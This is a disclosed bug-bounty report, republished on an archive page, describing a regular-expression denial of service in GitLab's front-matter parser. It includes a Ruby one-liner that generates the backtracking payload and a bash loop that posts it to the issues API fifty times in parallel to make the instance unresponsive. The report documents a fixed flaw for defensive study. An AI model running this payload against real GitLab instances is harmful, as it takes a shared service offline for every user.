Skip to content
DoS Disclosed report Intermediate

ReDoS via PATTERN in /lib/gitlab/front_matter.rb

A regular expression used to parse front matter in user input has cubic backtracking complexity, allowing an attacker to cause a denial of service by submitting crafted issue descriptions. A few simultaneous requests can make the GitLab instance unresponsive.

GitLab

Originally disclosed on GitLab

  • Fixed in 3 months
  • Disclosed after 3 months

HackerOne report #1320077 by hashkitten on 2021-08-26, assigned to @ankelly:

Report | How To Reproduce

Report

Summary

Hi Gitlab security team, this is a very similar issue to https://hackerone.com/reports/1277918 , just with a different root cause. A regex used to parse multiple sources of user input (notes, issues, etc) has cubic complexity, leading to an application-wide DoS via regex.

Steps to reproduce

Create an issue on any project. Copy the output of the command ruby -e'print "coding:\n"+";;;"+"\n"*10000+"x"' into your clipboard and paste it into the issue description. Submit and notice the backend worker uses 100% CPU before timing out with 502.

If we make a low number of simultaneous requests like this, it will result in total denial of service. You can use the following bash script:

Bash
PROTO=http  
GITLAB_HOST=localhost  
PROJECT_ID=xxx  
AUTH_TOKEN=xxx

PAYLOAD=$(ruby -e'print "coding:\n"+";;;"+"\n"*10000+"x"')

for i in {1..50}; do  
  curl -X POST \  
    "${PROTO}://${GITLAB_HOST}/api/v4/projects/${PROJECT_ID}/issues" \  
    -H "Private-Token: ${AUTH_TOKEN}" \  
    --data "title=issue_${RANDOM}_${RANDOM}" \  
    --data "description=${PAYLOAD}" & done  

Change the protocol and Gitlab host to point to your locally hosted instance. Log in as a user, and fill the AUTH_TOKEN with that user's API token and set PROJECT_ID to any project the user has access to. Run the script, and then observe the hosted instance becomes unresponsive.

Detail

Gitlab uses lib/gitlab/front_matter.rb to parse 'front matter' out of comments, issues and so on:

Ruby
module Gitlab  
  module FrontMatter  
    DELIM_LANG = {  
      '---' => 'yaml',  
      '+++' => 'toml',  
      ';;;' => 'json'  
    }.freeze

    DELIM = Regexp.union(DELIM_LANG.keys)

    PATTERN = %r{  
      \A(?:[^\r\n]*coding:[^\r\n]*)?         # optional encoding line  
      \s*  
      ^(?<delim>#{DELIM})[ \t]*(?<lang>\S*)  # opening front matter marker (optional language specifier)  
      \s*  
      ^(?<front_matter>.*?)                  # front matter block content (not greedy)  
      \s*  
      ^(\k<delim> | \.{3})                   # closing front matter marker  
      \s*  
    }mx.freeze  
  end  
end  

This \s* ... \s* ... \s* style construction can result in cubic backtracking, which causes the issue.

Output of checks

This bug happens on gitlab.com & also on local instance latest stable.

Impact

Any user can make the Gitlab instance trivially inaccessible in a way that can't be mitigated by Application Limits.

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The regex pattern uses multiple greedy whitespace quantifiers (\s*) around a non-greedy capture, which leads to cubic backtracking when matching certain inputs.

Impact

Any user can make the GitLab instance trivially inaccessible in a way that can't be mitigated by Application Limits.

What the attacker needed

A user account with API token; access to a project

How it was found

  1. Create an issue on any project.
  2. Generate a payload with a Ruby command that outputs a specific string.
  3. Paste the payload into the issue description and submit.
  4. Observe the backend worker using 100% CPU and timing out with a 502 error.
  5. Optionally, send many such requests simultaneously to cause total denial of service.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A regular expression (regex) is a pattern used to search text. Some patterns can take a very long time to process certain inputs, especially if they have many repeated characters. Here, a specially crafted issue description makes the server spend excessive CPU time, so the whole site becomes slow or unavailable.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.